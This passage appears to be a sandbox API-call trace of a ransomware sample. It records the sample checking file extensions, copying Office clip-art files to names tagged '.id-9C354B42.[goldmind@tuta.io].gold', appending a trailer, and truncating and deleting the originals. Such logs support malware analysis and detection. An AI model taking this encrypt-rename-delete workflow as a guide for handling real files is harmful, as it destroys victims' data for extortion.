(lpString1=".pdf", lpString2=".WMF") returned -1 [0053.411] lstrlenW (lpString=".xls") returned 4 [0053.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.411] lstrlenW (lpString=".xlsx") returned 5 [0053.411] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.411] lstrlenW (lpString=".ppt") returned 4 [0053.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0053.411] lstrlenW (lpString=".zip") returned 4 [0053.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.411] lstrlenW (lpString=".rar") returned 4 [0053.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.412] lstrlenW (lpString=".bz2") returned 4 [0053.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.412] lstrlenW (lpString=".7z") returned 3 [0053.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0053.412] lstrlenW (lpString=".dbf") returned 4 [0053.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0053.412] lstrlenW (lpString=".1cd") returned 4 [0053.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0053.412] lstrlenW (lpString=".jpg") returned 4 [0053.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.412] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.412] lstrlenW (lpString="BL00274_.WMF") returned 12 [0053.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.412] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=4164) returned 1 [0053.412] CloseHandle (hObject=0x214) returned 1 [0053.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x20 [0053.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.412] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.412] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.413] GetLastError () returned 0x0 [0053.413] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x1044, lpOverlapped=0x0) returned 1 [0053.414] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x1050, lpOverlapped=0x0) returned 1 [0053.415] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.415] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.415] SetEndOfFile (hFile=0x20c) returned 1 [0053.415] CloseHandle (hObject=0x20c) returned 1 [0053.415] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.415] SetEndOfFile (hFile=0x214) returned 1 [0053.416] CloseHandle (hObject=0x214) returned 1 [0053.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0053.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0053.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0053.416] lstrlenW (lpString=".doc") returned 4 [0053.416] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.416] lstrlenW (lpString=".docx") returned 5 [0053.416] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.416] lstrlenW (lpString=".pdf") returned 4 [0053.416] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.416] lstrlenW (lpString=".xls") returned 4 [0053.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.416] lstrlenW (lpString=".xlsx") returned 5 [0053.416] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.416] lstrlenW (lpString=".ppt") returned 4 [0053.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0053.416] lstrlenW (lpString=".zip") returned 4 [0053.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.416] lstrlenW (lpString=".rar") returned 4 [0053.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.416] lstrlenW (lpString=".bz2") returned 4 [0053.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.416] lstrlenW (lpString=".7z") returned 3 [0053.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0053.416] lstrlenW (lpString=".dbf") returned 4 [0053.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0053.416] lstrlenW (lpString=".1cd") returned 4 [0053.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0053.417] lstrlenW (lpString=".jpg") returned 4 [0053.417] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0053.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0053.417] lstrlenW (lpString=".doc") returned 4 [0053.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.417] lstrlenW (lpString=".docx") returned 5 [0053.417] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.417] lstrlenW (lpString=".pdf") returned 4 [0053.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.417] lstrlenW (lpString=".xls") returned 4 [0053.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.417] lstrlenW (lpString=".xlsx") returned 5 [0053.417] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.417] lstrlenW (lpString=".ppt") returned 4 [0053.417] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0053.417] lstrlenW (lpString=".zip") returned 4 [0053.417] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.417] lstrlenW (lpString=".rar") returned 4 [0053.417] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.417] lstrlenW (lpString=".bz2") returned 4 [0053.417] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.417] lstrlenW (lpString=".7z") returned 3 [0053.417] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0053.417] lstrlenW (lpString=".dbf") returned 4 [0053.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0053.417] lstrlenW (lpString=".1cd") returned 4 [0053.417] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0053.417] lstrlenW (lpString=".jpg") returned 4 [0053.417] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.417] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.417] lstrlenW (lpString="BL00296_.WMF") returned 12 [0053.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.418] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=812) returned 1 [0053.418] CloseHandle (hObject=0x214) returned 1 [0053.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x20 [0053.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.418] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.418] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.418] GetLastError () returned 0x0 [0053.418] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x32c, lpOverlapped=0x0) returned 1 [0053.419] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x330, lpOverlapped=0x0) returned 1 [0053.420] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.420] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.420] SetEndOfFile (hFile=0x20c) returned 1 [0053.420] CloseHandle (hObject=0x20c) returned 1 [0053.420] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.420] SetEndOfFile (hFile=0x214) returned 1 [0053.421] CloseHandle (hObject=0x214) returned 1 [0053.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0053.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0053.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0053.421] lstrlenW (lpString=".doc") returned 4 [0053.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.421] lstrlenW (lpString=".docx") returned 5 [0053.422] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.422] lstrlenW (lpString=".pdf") returned 4 [0053.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.422] lstrlenW (lpString=".xls") returned 4 [0053.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.422] lstrlenW (lpString=".xlsx") returned 5 [0053.422] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.422] lstrlenW (lpString=".ppt") returned 4 [0053.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0053.422] lstrlenW (lpString=".zip") returned 4 [0053.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.422] lstrlenW (lpString=".rar") returned 4 [0053.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.422] lstrlenW (lpString=".bz2") returned 4 [0053.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.422] lstrlenW (lpString=".7z") returned 3 [0053.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0053.422] lstrlenW (lpString=".dbf") returned 4 [0053.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0053.422] lstrlenW (lpString=".1cd") returned 4 [0053.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0053.422] lstrlenW (lpString=".jpg") returned 4 [0053.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0053.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0053.422] lstrlenW (lpString=".doc") returned 4 [0053.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.422] lstrlenW (lpString=".docx") returned 5 [0053.422] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.422] lstrlenW (lpString=".pdf") returned 4 [0053.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.422] lstrlenW (lpString=".xls") returned 4 [0053.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.422] lstrlenW (lpString=".xlsx") returned 5 [0053.422] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.422] lstrlenW (lpString=".ppt") returned 4 [0053.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0053.422] lstrlenW (lpString=".zip") returned 4 [0053.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.422] lstrlenW (lpString=".rar") returned 4 [0053.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.422] lstrlenW (lpString=".bz2") returned 4 [0053.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.422] lstrlenW (lpString=".7z") returned 3 [0053.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0053.422] lstrlenW (lpString=".dbf") returned 4 [0053.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0053.423] lstrlenW (lpString=".1cd") returned 4 [0053.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0053.423] lstrlenW (lpString=".jpg") returned 4 [0053.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.423] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.423] lstrlenW (lpString="BL00390_.WMF") returned 12 [0053.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.424] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=13102) returned 1 [0053.424] CloseHandle (hObject=0x214) returned 1 [0053.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x20 [0053.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.424] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.424] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.424] GetLastError () returned 0x0 [0053.424] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x332e, lpOverlapped=0x0) returned 1 [0053.780] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x3330, lpOverlapped=0x0) returned 1 [0053.885] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.885] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.885] SetEndOfFile (hFile=0x20c) returned 1 [0053.885] CloseHandle (hObject=0x20c) returned 1 [0053.885] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.885] SetEndOfFile (hFile=0x214) returned 1 [0053.886] CloseHandle (hObject=0x214) returned 1 [0053.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0053.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0053.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0053.940] lstrlenW (lpString=".doc") returned 4 [0053.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.940] lstrlenW (lpString=".docx") returned 5 [0053.940] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.940] lstrlenW (lpString=".pdf") returned 4 [0053.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.940] lstrlenW (lpString=".xls") returned 4 [0053.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.941] lstrlenW (lpString=".xlsx") returned 5 [0053.941] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.941] lstrlenW (lpString=".ppt") returned 4 [0053.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0053.941] lstrlenW (lpString=".zip") returned 4 [0053.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.941] lstrlenW (lpString=".rar") returned 4 [0053.941] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.941] lstrlenW (lpString=".bz2") returned 4 [0053.941] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.941] lstrlenW (lpString=".7z") returned 3 [0053.941] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0053.941] lstrlenW (lpString=".dbf") returned 4 [0053.941] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0053.941] lstrlenW (lpString=".1cd") returned 4 [0053.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0053.941] lstrlenW (lpString=".jpg") returned 4 [0053.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0053.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0053.941] lstrlenW (lpString=".doc") returned 4 [0053.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.941] lstrlenW (lpString=".docx") returned 5 [0053.941] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.941] lstrlenW (lpString=".pdf") returned 4 [0053.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.941] lstrlenW (lpString=".xls") returned 4 [0053.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.941] lstrlenW (lpString=".xlsx") returned 5 [0053.941] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.941] lstrlenW (lpString=".ppt") returned 4 [0053.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0053.941] lstrlenW (lpString=".zip") returned 4 [0053.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.941] lstrlenW (lpString=".rar") returned 4 [0053.941] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.941] lstrlenW (lpString=".bz2") returned 4 [0053.941] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.941] lstrlenW (lpString=".7z") returned 